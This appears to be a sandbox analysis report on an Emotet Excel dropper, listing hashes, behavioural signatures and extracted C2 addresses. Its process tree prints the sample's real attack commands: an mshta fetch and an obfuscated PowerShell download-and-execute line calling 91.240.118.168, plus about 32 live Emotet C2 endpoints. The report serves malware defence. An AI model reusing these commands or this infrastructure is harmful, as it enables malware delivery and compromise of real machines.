emotet | 469ecab46aeab5537285ea9bc3d921d9ef6cc3b67891bb3f42aac3b4b71ee7d4

Analysis

max time kernel
119s
max time network
146s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 03:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmpvzyjmpw6.xls
Size 36KB
Sample220128-dshwxsehbm
SHA256 469ecab46aeab5537285ea9bc3d921d9ef6cc3b67891bb3f42aac3b4b71ee7d4
MD5 55dfbc6622e7d8d1662326ddf17a6162
SHA1 a35b917ddf01756e60bf9c01af9e007596150b66
SHA512 8541fdbefe8609f475ef3aef87fd76cd9c30e2578bda5f8fe1f7448e51f7f7c83ade1994412da22ec06e08967f550c008002830c1dcd5821b1dffd53f377c3a1
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/oo/aa/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1356	2056	CMD.EXE	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
29	1420	mshta.exe
36	3940	powershell.exe
38	3940	powershell.exe
42	3940	powershell.exe
49	632	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
736	rundll32.exe
3932	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Qthxxfyfwpmm\cppdyprxhlcacyd.bik	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
920	1420	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2056	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3940	powershell.exe
3940	powershell.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
3940	powershell.exe
632	rundll32.exe
632	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	920	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE
2056	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 1356	2056	EXCEL.EXE	71
PID 2056 wrote to memory of 1356	2056	EXCEL.EXE	71
PID 1356 wrote to memory of 1420	1356	CMD.EXE	73
PID 1356 wrote to memory of 1420	1356	CMD.EXE	73
PID 1420 wrote to memory of 3940	1420	mshta.exe	75
PID 1420 wrote to memory of 3940	1420	mshta.exe	75
PID 3940 wrote to memory of 1816	3940	powershell.exe	78
PID 3940 wrote to memory of 1816	3940	powershell.exe	78
PID 1816 wrote to memory of 736	1816	cmd.exe	79
PID 1816 wrote to memory of 736	1816	cmd.exe	79
PID 1816 wrote to memory of 736	1816	cmd.exe	79
PID 736 wrote to memory of 3932	736	rundll32.exe	80
PID 736 wrote to memory of 3932	736	rundll32.exe	80
PID 736 wrote to memory of 3932	736	rundll32.exe	80
PID 3932 wrote to memory of 1124	3932	rundll32.exe	81
PID 3932 wrote to memory of 1124	3932	rundll32.exe	81
PID 3932 wrote to memory of 1124	3932	rundll32.exe	81
PID 1124 wrote to memory of 632	1124	rundll32.exe	82
PID 1124 wrote to memory of 632	1124	rundll32.exe	82
PID 1124 wrote to memory of 632	1124	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpvzyjmpw6.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3940
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1816
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:736
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3932
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qthxxfyfwpmm\cppdyprxhlcacyd.bik",cEDD
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1124
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qthxxfyfwpmm\cppdyprxhlcacyd.bik",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:632
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1420 -s 1644
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/632-641-0x0000000004BC0000-0x0000000004BE7000-memory.dmp

Download

memory/632-638-0x0000000002DE0000-0x0000000002E07000-memory.dmp

Download

memory/1124-635-0x00000000049F0000-0x0000000004A17000-memory.dmp

Download

memory/2056-119-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-676-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-675-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-674-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-673-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-129-0x00007FF9863F0000-0x00007FF986400000-memory.dmp

Download

memory/2056-128-0x00007FF9863F0000-0x00007FF986400000-memory.dmp

Download

memory/2056-115-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-118-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-117-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/2056-116-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/3932-633-0x0000000004D30000-0x0000000004D57000-memory.dmp

Download

memory/3932-627-0x0000000004B10000-0x0000000004B37000-memory.dmp

Download

memory/3932-629-0x0000000004C70000-0x0000000004C97000-memory.dmp

Download

memory/3932-631-0x0000000004CD0000-0x0000000004CF7000-memory.dmp

Download

memory/3932-625-0x0000000004A30000-0x0000000004A57000-memory.dmp

Download

memory/3932-622-0x0000000002B80000-0x0000000002BA7000-memory.dmp

Download

memory/3932-636-0x0000000004F00000-0x0000000004F27000-memory.dmp

Download

memory/3940-344-0x000002BF6D886000-0x000002BF6D888000-memory.dmp

Download

memory/3940-324-0x000002BF6E0B0000-0x000002BF6E126000-memory.dmp

Download

memory/3940-312-0x000002BF6DC50000-0x000002BF6DC8C000-memory.dmp

Download

memory/3940-302-0x000002BF6D880000-0x000002BF6D882000-memory.dmp

Download

memory/3940-303-0x000002BF6D883000-0x000002BF6D885000-memory.dmp

Download

memory/3940-291-0x000002BF6D9C0000-0x000002BF6D9E2000-memory.dmp

Download